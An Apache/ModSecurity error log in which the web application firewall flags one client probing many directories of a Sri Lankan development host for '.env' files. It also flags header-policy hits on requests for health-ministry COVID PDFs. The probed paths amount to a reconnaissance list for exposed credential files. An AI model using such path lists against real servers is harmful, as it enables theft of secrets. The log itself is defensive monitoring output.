[Fri Jul 17 09:15:02.376796 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPol9vhFBGA6D8l99YQAAAAw"]
[Fri Jul 17 09:15:02.520072 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Fact_Sheet/fact-sheet-covid-19-english.pdf"] [unique_id "almlPgRRrtuZqNDDSqWzagAAABo"]
[Fri Jul 17 09:15:02.520403 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Fact_Sheet/fact-sheet-covid-19-english.pdf"] [unique_id "almlPgRRrtuZqNDDSqWzagAAABo"]
[Fri Jul 17 09:15:02.520735 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Fact_Sheet/fact-sheet-covid-19-english.pdf"] [unique_id "almlPgRRrtuZqNDDSqWzagAAABo"]
[Fri Jul 17 09:15:02.551780 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/tmp/.env"] [unique_id "almlPg7FYe46zHK_jL3TEwAAABk"]
[Fri Jul 17 09:15:02.553720 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/tmp/.env"] [unique_id "almlPg7FYe46zHK_jL3TEwAAABk"]
[Fri Jul 17 09:15:02.804065 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPg7FYe46zHK_jL3TEwAAABk"]
[Fri Jul 17 09:15:02.926128 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:46134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:02.929394 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:02.988068 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/temp/.env"] [unique_id "almlPl1_86A5R6msWNfXqQAAABI"]
[Fri Jul 17 09:15:02.989345 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/temp/.env"] [unique_id "almlPl1_86A5R6msWNfXqQAAABI"]
[Fri Jul 17 09:15:03.266718 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:46150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:03.289395 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPl1_86A5R6msWNfXqQAAABI"]
[Fri Jul 17 09:15:03.461729 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/lab/.env"] [unique_id "almlP0kXT4NBqALj2laAFgAAABA"]
[Fri Jul 17 09:15:03.463870 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/lab/.env"] [unique_id "almlP0kXT4NBqALj2laAFgAAABA"]
[Fri Jul 17 09:15:03.524676 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:03.677608 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlP0kXT4NBqALj2laAFgAAABA"]
[Fri Jul 17 09:15:03.693106 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:03.791925 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:03.852433 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cronlab/.env"] [unique_id "almlP4l9vhFBGA6D8l99ZAAAAAw"]
[Fri Jul 17 09:15:03.854289 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cronlab/.env"] [unique_id "almlP4l9vhFBGA6D8l99ZAAAAAw"]
[Fri Jul 17 09:15:03.899795 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:46190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:03.993379 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:04.155236 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlP4l9vhFBGA6D8l99ZAAAAAw"]
[Fri Jul 17 09:15:04.325399 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cron/.env"] [unique_id "almlQA5GPQ6hs4VrfMpFLgAAAAY"]
[Fri Jul 17 09:15:04.327260 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cron/.env"] [unique_id "almlQA5GPQ6hs4VrfMpFLgAAAAY"]
[Fri Jul 17 09:15:04.396638 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:04.593827 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQA5GPQ6hs4VrfMpFLgAAAAY"]
[Fri Jul 17 09:15:04.604021 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:04.763173 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/en/.env"] [unique_id "almlQPwooI4qY7Jg93pY1gAAABM"]
[Fri Jul 17 09:15:04.764384 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/en/.env"] [unique_id "almlQPwooI4qY7Jg93pY1gAAABM"]
[Fri Jul 17 09:15:05.023878 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQPwooI4qY7Jg93pY1gAAABM"]
[Fri Jul 17 09:15:05.196303 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/administrator/.env"] [unique_id "almlQbEWOaI5pmYo9fnSCwAAAAA"]
[Fri Jul 17 09:15:05.197474 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/administrator/.env"] [unique_id "almlQbEWOaI5pmYo9fnSCwAAAAA"]
[Fri Jul 17 09:15:05.209756 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:05.421629 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:05.424655 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQbEWOaI5pmYo9fnSCwAAAAA"]
[Fri Jul 17 09:15:05.596347 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/psnlink/.env"] [unique_id "almlQQRRrtuZqNDDSqWzcAAAABo"]
[Fri Jul 17 09:15:05.597822 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/psnlink/.env"] [unique_id "almlQQRRrtuZqNDDSqWzcAAAABo"]
[Fri Jul 17 09:15:05.861455 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQQRRrtuZqNDDSqWzcAAAABo"]
[Fri Jul 17 09:15:06.032339 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/exapi/.env"] [unique_id "almlQq14q1EBnanVMYGnPQAAAAk"]
[Fri Jul 17 09:15:06.034247 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/exapi/.env"] [unique_id "almlQq14q1EBnanVMYGnPQAAAAk"]
[Fri Jul 17 09:15:06.244037 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQq14q1EBnanVMYGnPQAAAAk"]
[Fri Jul 17 09:15:06.415553 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sitemaps/.env"] [unique_id "almlQol9vhFBGA6D8l99ZwAAAAw"]
[Fri Jul 17 09:15:06.416768 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sitemaps/.env"] [unique_id "almlQol9vhFBGA6D8l99ZwAAAAw"]
[Fri Jul 17 09:15:06.679613 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQol9vhFBGA6D8l99ZwAAAAw"]
[Fri Jul 17 09:15:06.727624 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-22-01_10_22.pdf"] [unique_id "almlQg5GPQ6hs4VrfMpFMwAAAAY"]
[Fri Jul 17 09:15:06.728004 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-22-01_10_22.pdf"] [unique_id "almlQg5GPQ6hs4VrfMpFMwAAAAY"]
[Fri Jul 17 09:15:06.728336 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-22-01_10_22.pdf"] [unique_id "almlQg5GPQ6hs4VrfMpFMwAAAAY"]
